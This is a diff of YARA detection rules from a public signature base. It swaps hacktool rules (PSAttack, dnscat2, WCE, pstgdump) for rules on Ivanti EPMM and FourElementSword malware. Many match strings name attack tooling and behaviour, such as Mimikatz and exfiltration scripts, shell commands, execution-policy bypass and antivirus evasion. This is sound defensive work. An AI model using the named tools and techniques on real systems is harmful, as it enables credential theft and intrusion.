-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3049-L3063"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "28f2eb8f5082559f9de4e72243f4bf8a0be21a9a4c5e16c443d036733584ea97"
-		score = 50
-		quality = 35
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-213a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_ivanti_epmm_mobileiron_cve_2023_35078.yar#L16-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0083727e34118d628c8507459bfb7f949f11af8197e201066e29e263e2c3f944"
+		score = 85
+		quality = 85
+		tags = "CVE-2023-35078, FILE"
+		hash1 = "6255c75e2e52d779da39367e7a7d4b8d1b3c9c61321361952dcc05819251a127"
 
 	strings:
-		$entry = /\n:: [A-Z]/
-		$timestamp = /\([0-9]?[0-9]:[0-9][0-9]:[0-9][0-9] [AP]M\)/
+		$s1 = "logsPaths.txt" ascii fullword
+		$s2 = "keywords.txtFirefox" ascii
 
 	condition:
-		uint16(0)==0x3A3A and #entry>10 and #timestamp>10
+		uint16(0)==0x4b50 and filesize <20KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Vssown_VBS
+rule SIGNATURE_BASE_MAL_WAR_Ivanti_EPMM_Mobileiron_Logclear_JAVA_Aug23 : CVE_2023_35078 FILE
 {
 	meta:
-		description = "Detects VSSown.vbs script - used to export shadow copy elements like NTDS to take away and crack elsewhere"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ffbb5faf-3522-50dc-a568-503074ac0636"
-		date = "2015-10-01"
+		description = "Detects LogClear.class found in the Ivanti EPMM / MobileIron Core compromises exploiting CVE-2023-35078"
+		author = "Florian Roth"
+		id = "e1ef3bf3-0107-5ba6-a49f-71e079851a4f"
+		date = "2023-08-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3065-L3082"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f49e9d7a07d591330e16fc539bd98d019b47dd8579d0f1ad92fa987790e64189"
-		score = 75
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-213a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_ivanti_epmm_mobileiron_cve_2023_35078.yar#L34-L53"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c42c2eca784d7089aab56addca11bad658a4a6c34a81ae823bd0c3dad41a1c99"
+		score = 80
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2023-35078, FILE"
+		hash1 = "deb381c25d7a511b9eb936129eeba2c0341cff7f4bd2168b05e40ab2ee89225e"
 
 	strings:
-		$s0 = "Select * from Win32_Service Where Name ='VSS'" ascii
-		$s1 = "Select * From Win32_ShadowCopy" ascii
-		$s2 = "cmd /C mklink /D " ascii
-		$s3 = "ClientAccessible" ascii
-		$s4 = "WScript.Shell" ascii
-		$s5 = "Win32_Process" ascii
+		$s1 = "logsPaths.txt" ascii fullword
+		$s2 = "log file: %s, not read" ascii fullword
+		$s3 = "/tmp/.time.tmp" ascii fullword
+		$s4 = "readKeywords" ascii fullword
+		$s5 = "\"----------------  ----------------" ascii fullword
 
 	condition:
-		all of them
+		uint16(0)==0xfeca and filesize <20KB and 4 of them or all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Netview_Hacktool : FILE
+rule SIGNATURE_BASE_Saudi_Phish_Trojan : FILE
 {
 	meta:
-		description = "Network domain enumeration tool - often used by attackers - file Nv.exe"
+		description = "Detects a trojan used in Saudi Aramco Phishing"
 		author = "Florian Roth (Nextron Systems)"
-		id = "087e2fd7-726e-5c6b-ba99-e20dd3337d6a"
-		date = "2016-03-07"
+		id = "d805391d-1256-5dac-8585-ccf3391d4e91"
+		date = "2017-10-12"
 		modified = "2023-12-05"
-		reference = "https://github.com/mubix/netview"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3084-L3107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "52cec98839c3b7d9608c865cfebc904b4feae0bada058c2e8cdbd561cfa1420a"
-		logic_hash = "dc27d2358937d736823891c9d5c3f41f83a6f4e72d35fae0983435effda2141a"
-		score = 60
+		reference = "https://goo.gl/Z3JUAA"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_saudi_aramco_phish.yar#L10-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f7199d2e408cc057d88234e4041c7d87652d1ed361eaaf75bb37da45900e9f38"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "8ad94dc5d59aa1e9962c76fd5ca042e582566049a97aef9f5730ba779e5ebb91"
 
 	strings:
-		$s1 = "[+] %ws - Target user found - %s\\%s" fullword wide
-		$s2 = "[*] -g used without group specified - using \"Domain Admins\"" fullword ascii
-		$s3 = "[*] -i used without interval specified - ignoring" fullword ascii
-		$s4 = "[+] %ws - Session - %s from %s - Active: %d - Idle: %d" fullword wide
-		$s5 = "[+] %ws - Backup Domain Controller" fullword wide
-		$s6 = "[-] %ls - Share - Error: %ld" fullword wide
-		$s7 = "[-] %ls - Session - Error: %ld" fullword wide
-		$s8 = "[+] %s - OS Version - %d.%d" fullword ascii
-		$s9 = "Enumerating Logged-on Users" fullword ascii
-		$s10 = ": Specifies a domain to pull a list of hosts from" fullword ascii
+		$s1 = { 7B 00 30 00 7D 00 7B 00 31 00 7D 00 5C 00 00 09
+               2E 00 64 00 6C 00 6C 00 00 11 77 00 33 00 77 00
+               70 00 2E 00 65 00 78 00 65 00 00 1B 61 00 73 00
+               70 00 6E 00 65 00 74 00 5F 00 77 00 70 00 2E 00
+               65 00 78 00 65 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and 2 of them ) or 3 of them
+		( uint16(0)==0x5a4d and filesize <3000KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Netview_Hacktool_Output
+rule SIGNATURE_BASE_Fourelementsword_Config_File
 {
 	meta:
-		description = "Network domain enumeration tool output - often used by attackers - file filename.txt"
+		description = "Detects FourElementSword Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "259db870-6293-5a55-b56a-f981c060c18f"
-		date = "2016-03-07"
+		id = "488a2344-3d8d-5769-aca8-9e14f38f5eb0"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/mubix/netview"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3109-L3124"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "38a51e583b1485bdb29400cb9d0a73ec4d5387675779f949572d2b4d74da4230"
-		score = 60
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_four_element_sword.yar#L11-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27"
+		logic_hash = "680e50998093e63a4e3c7d5338ac149efef83cdb41ceb4ce0245e8bd2ab99b84"
+		score = 75
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "[*] Using interval:" fullword
-		$s2 = "[*] Using jitter:" fullword
-		$s3 = "[+] Number of hosts:" fullword
+		$s0 = "01,,hccutils.dll,2" fullword ascii
+		$s1 = "RegisterDlls=OurDll" fullword ascii
+		$s2 = "[OurDll]" fullword ascii
+		$s3 = "[DefaultInstall]" fullword ascii
+		$s4 = "Signature=\"$Windows NT$\"" fullword ascii
 
 	condition:
-		2 of them
+		4 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Psattack_EXE : FILE
+rule SIGNATURE_BASE_Fourelementsword_T9000 : FILE
 {
 	meta:
-		description = "PSAttack - Powershell attack tool - file PSAttack.exe"
+		description = "Detects FourElementSword Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "87f7956a-f607-5e14-a940-5080499cf682"
-		date = "2016-03-09"
-		modified = "2023-01-06"
-		reference = "https://github.com/gdssecurity/PSAttack/releases/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3135-L3155"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ad05d75640c850ee7eeee26422ba4f157be10a4e2d6dc6eaa19497d64cf23715"
-		logic_hash = "b73566eb6370fbe68f0477d1179e5d6c19fb9be2c29f63d560c42adcdf19fe58"
-		score = 100
-		quality = 60
+		id = "35ae844e-52e1-5e6f-984d-aa75ebd2f60f"
+		date = "2016-04-18"
+		modified = "2023-12-05"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_four_element_sword.yar#L30-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
+		logic_hash = "1c7b063cbe9d44a9d194a180570f8313460f61560ac2cda5d66e048934170faa"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "\\Release\\PSAttack.pdb"
-		$s1 = "set-executionpolicy bypass -Scope process -Force" fullword wide
-		$s2 = "PSAttack.Modules." ascii
-		$s3 = "PSAttack.PSAttackProcessing" fullword ascii
-		$s4 = "PSAttack.Modules.key.txt" fullword wide
+		$x1 = "D:\\WORK\\T9000\\" ascii
+		$x2 = "%s\\temp\\HHHH.dat" fullword wide
+		$s1 = "Elevate.dll" fullword wide
+		$s2 = "ResN32.dll" fullword wide
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword wide
+		$s4 = "igfxtray.exe" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and ($x1 or 2 of ($s*))) or 3 of them
+		( uint16(0)==0x5a4d and filesize <500KB and 1 of ($x*)) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Powershell_Attack_Scripts
+rule SIGNATURE_BASE_Fourelementsword_32DLL : FILE
 {
 	meta:
-		description = "Powershell Attack Scripts"
+		description = "Detects FourElementSword Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e8c4a672-229b-56c8-811b-071ae9ff341e"
-		date = "2016-03-09"
+		id = "fc801364-9f40-50eb-90e1-99f8605014c7"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3157-L3172"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "42a52de089ee00e229499fea23b8acd0b7c881a9c578671aea180c0c018a54e0"
-		score = 70
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_four_element_sword.yar#L51-L68"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6"
+		logic_hash = "b44870975f126b8603db04b97b748f7a5a75675ffe57037f613c11d6048200b1"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "PowershellMafia\\Invoke-Shellcode.ps1" ascii
-		$s2 = "Nishang\\Do-Exfiltration.ps1" ascii
-		$s3 = "PowershellMafia\\Invoke-Mimikatz.ps1" ascii
-		$s4 = "Inveigh\\Inveigh.ps1" ascii
+		$x1 = "%temp%\\tmp092.tmp" fullword ascii
+		$s1 = "\\System32\\ctfmon.exe" ascii
+		$s2 = "%SystemRoot%\\System32\\" ascii
+		$s3 = "32.dll" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <660KB and $x1) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Psattack_ZIP : FILE
+rule SIGNATURE_BASE_Fourelementsword_Keyainst_EXE : FILE
 {
 	meta:
-		description = "PSAttack - Powershell attack tool - file PSAttack.zip"
+		description = "Detects FourElementSword Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4e064eb4-0b87-590c-9ee4-6764b982c006"
-		date = "2016-03-09"
+		id = "175fe2b0-3c76-5464-9a1a-218a09b25a5a"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/gdssecurity/PSAttack/releases/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3174-L3188"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3864f0d44f90404be0c571ceb6f95bbea6c527bbfb2ec4a2b4f7d92e982e15a2"
-		logic_hash = "4c869e8663b8c87780d4be622f86b3887511e1ac3cfc67767f1c986af7d43767"
-		score = 100
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_four_element_sword.yar#L70-L87"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082"
+		logic_hash = "1491de3241a81cce4d80d6dc23886f1d8bf316112c48652a8138aa4cbadbb174"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "PSAttack.exe" fullword ascii
+		$x1 = "C:\\ProgramData\\Keyainst.exe" fullword ascii
+		$s1 = "ShellExecuteA" fullword ascii
+		$s2 = "GetStartupInfoA" fullword ascii
+		$s3 = "SHELL32.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x4b50 and all of them
+		( uint16(0)==0x5a4d and filesize <48KB and $x1) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Linux_Portscan_Shark_1 : FILE
+rule SIGNATURE_BASE_Fourelementsword_Elevatedll_2 : FILE
 {
 	meta:
-		description = "Detects Linux Port Scanner Shark"
+		description = "Detects FourElementSword Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0b264106-3536-56f4-9e8c-68f3756af07d"
-		date = "2016-04-01"
+		id = "06879d75-18a3-5d49-a963-fa4bee379387"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "Virustotal Research - see https://github.com/Neo23x0/Loki/issues/35"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3199-L3216"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e807ed6c83c8d908bfe29c65abd7b877b65655cc64cd1497fc124a2fd88cd1e9"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_four_element_sword.yar#L89-L104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95"
+		logic_hash = "d5fcb2bacfa0a1f78bfbd3fa7ba3084da9a60f1b8b7880c83d8f225312c179b4"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "4da0e535c36c0c52eaa66a5df6e070c52e7ddba13816efc3da5691ea2ec06c18"
-		hash2 = "e395ca5f932419a4e6c598cae46f17b56eb7541929cdfb67ef347d9ec814dea3"
 
 	strings:
-		$s0 = "rm -rf scan.log session.txt" fullword ascii
-		$s17 = "*** buffer overflow detected ***: %s terminated" fullword ascii
-		$s18 = "*** stack smashing detected ***: %s terminated" fullword ascii
+		$s1 = "Elevate.dll" fullword ascii
+		$s2 = "GetSomeF" fullword ascii
+		$s3 = "GetNativeSystemInfo" fullword ascii
 
 	condition:
-		( uint16(0)==0x7362 and all of them )
+		( uint16(0)==0x5a4d and filesize <25KB and $s1) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Linux_Portscan_Shark_2
+rule SIGNATURE_BASE_Fourelementsword_Fslapi_Dll_Gui : FILE
 {
 	meta:
-		description = "Detects Linux Port Scanner Shark"
+		description = "Detects FourElementSword Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "eea378d5-0399-5035-8573-139878fa1abc"
-		date = "2016-04-01"
+		id = "1cc73eaf-7463-5070-97e5-6ea4c7735371"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "Virustotal Research - see https://github.com/Neo23x0/Loki/issues/35"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3218-L3235"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "45efbbe01c45065efc07e9c75b6a7cdcae469861f84df4a1e1381fe864f7ddc0"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_four_element_sword.yar#L106-L121"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
+		logic_hash = "909b187f864a240268d0ffcef904b85cd1eaad97dd3a3a808aad58968fbb76c2"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "5f80bd2db608a47e26290f3385eeb5bfc939d63ba643f06c4156704614def986"
-		hash2 = "90af44cbb1c8a637feda1889d301d82fff7a93b0c1a09534909458a64d8d8558"
 
 	strings:
-		$s1 = "usage: %s <fisier ipuri> <fisier useri:parole> <connect timeout> <fail2ban wait> <threads> <outfile> <port>" fullword ascii
-		$s2 = "Difference between server modulus and host modulus is only %d. It's illegal and may not work" fullword ascii
-		$s3 = "rm -rf scan.log" fullword ascii
+		$s1 = "fslapi.dll.gui" fullword wide
+		$s2 = "ImmGetDefaultIMEWnd" fullword ascii
+		$s3 = "RichOX" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <12KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Dnscat2_Hacktool : FILE
+rule SIGNATURE_BASE_Fourelementsword_Powershell_Start
 {
 	meta:
-		description = "Detects dnscat2 - from files dnscat, dnscat2.exe"
+		description = "Detects FourElementSword Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "23cca0fe-3e4e-5b91-8b53-933de8ff264a"
-		date = "2016-05-15"
+		id = "62affc03-a408-5d8f-99da-58dead8646c5"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "https://downloads.skullsecurity.org/dnscat2/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3244-L3263"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c163a62b607323e08ca083a7091585550c830827728a8a60e25af8db6550ed1c"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_four_element_sword.yar#L123-L137"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692"
+		logic_hash = "7b1986845d97dcd11c8baddb0b49350ad30c6fff98840275befef4ad0b906b54"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "8bc8d6c735937c9c040cbbdcfc15f17720a7ecef202a19a7bf43e9e1c66fe66a"
-		hash2 = "4a882f013419695c8c0ac41d8a0fde1cf48172a89e342c504138bc6f1d13c7c8"
 
 	strings:
-		$s1 = "--exec -e <process>     Execute the given process and link it to the stream." fullword ascii
-		$s2 = "Sawlog" fullword ascii
-		$s3 = "COMMAND_EXEC [request] :: request_id: 0x%04x :: name: %s :: command: %s" fullword ascii
-		$s4 = "COMMAND_SHELL [request] :: request_id: 0x%04x :: name: %s" fullword ascii
-		$s5 = "[Tunnel %d] connection to %s:%d closed by the server!" fullword ascii
+		$s0 = "start /min powershell C:\\\\ProgramData\\\\wget.exe" ascii
+		$s1 = "start /min powershell C:\\\\ProgramData\\\\iuso.exe" fullword ascii
 
 	condition:
-		(( uint16(0)==0x457f or uint16(0)==0x5a4d) and filesize <400KB and (2 of ($s*))) or ( all of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_WCE_In_Memory
+rule SIGNATURE_BASE_Fourelementsword_Resn32Dll
 {
 	meta:
-		description = "Detects Windows Credential Editor (WCE) in memory (and also on disk)"
+		description = "Detects FourElementSword Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "90c90ca5-e3be-5035-b35c-c2e7faec43a5"
-		date = "2016-08-28"
+		id = "3e1f6d8d-53ea-542f-ba49-39b4c86f3124"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3265-L3279"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "74ab7772db5b1de8a4eae03370e2be3cd35004730f84d472677688109a1d6d88"
-		score = 80
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_four_element_sword.yar#L139-L154"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f"
+		logic_hash = "9658ae3d1267993551cfb939f75f3d78de18cbeb2f524c2576b849103f3cacdc"
+		score = 75
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "wkKUSvflehHr::o:t:s:c:i:d:a:g:" fullword ascii
-		$s2 = "wceaux.dll" fullword ascii
+		$s1 = "\\Release\\BypassUAC.pdb" ascii
+		$s2 = "\\ResN32.dll" wide
+		$s3 = "Eupdate" fullword wide
 
 	condition:
 		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Pstgdump : FILE
+rule SIGNATURE_BASE_Fourelementsword_Elevatedll : FILE
 {
 	meta:
-		description = "Detects a tool used by APT groups - file pstgdump.exe"
+		description = "Detects FourElementSword Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "86a105a3-b5b5-58b2-99bd-ec05f31adb6b"
-		date = "2016-09-08"
+		id = "06879d75-18a3-5d49-a963-fa4bee379387"
+		date = "2016-04-18"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/igxLyF"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3281-L3299"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0c4f8697b1b65007acc4fdabd1c6263a428448232f95dbb12d8f737297893157"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_four_element_sword.yar#L158-L179"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d110bae02f00d14c5a71ecf5991e9fc38b29d8056d1e551dc36376875d2e1333"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "65d48a2f868ff5757c10ed796e03621961954c523c71eac1c5e044862893a106"
+		super_rule = 1
+		hash1 = "3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9"
+		hash2 = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
 
 	strings:
-		$x1 = "\\Release\\pstgdump.pdb" ascii
-		$x2 = "Failed to dump all protected storage items - see previous messages for details" fullword ascii
-		$x3 = "ptsgdump [-h][-q][-u Username][-p Password]" fullword ascii
-		$x4 = "Attempting to impersonate domain user '%s' in domain '%s'" fullword ascii
-		$x5 = "Failed to impersonate user (ImpersonateLoggedOnUser failed): error %d" fullword ascii
-		$x6 = "Unable to obtain handle to PStoreCreateInstance in pstorec.dll" fullword ascii
+		$x1 = "Elevate.dll" fullword wide
+		$x2 = "ResN32.dll" fullword wide
+		$s1 = "Kingsoft\\Antivirus" fullword wide
+		$s2 = "KasperskyLab\\protected" fullword wide
+		$s3 = "Sophos" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of ($x*)) or (3 of them )
+		( uint16(0)==0x5a4d and filesize <500KB and 1 of ($x*) and all of ($s*)) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Lsremora : FILE
+rule SIGNATURE_BASE_Mywscript_Compiledscript : FILE
 {
 	meta:
-		description = "Detects a tool used by APT groups"
+		description = "Detects a scripte with default name Mywscript compiled with Script2Exe (can also be a McAfee tool https://community.mcafee.com/docs/DOC-4124)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c15c583f-70cd-5a80-bdea-a14582097e50"
-		date = "2016-09-08"
+		id = "a0480a8a-5a7e-5829-851b-7301cfc9da60"
+		date = "2017-07-27"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/igxLyF"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3301-L3323"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ac8f6b7284307456749b3386340a2b3deb0718bc68875bc90bccf74a96469a59"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_mywscript_dropper.yar#L10-L26"
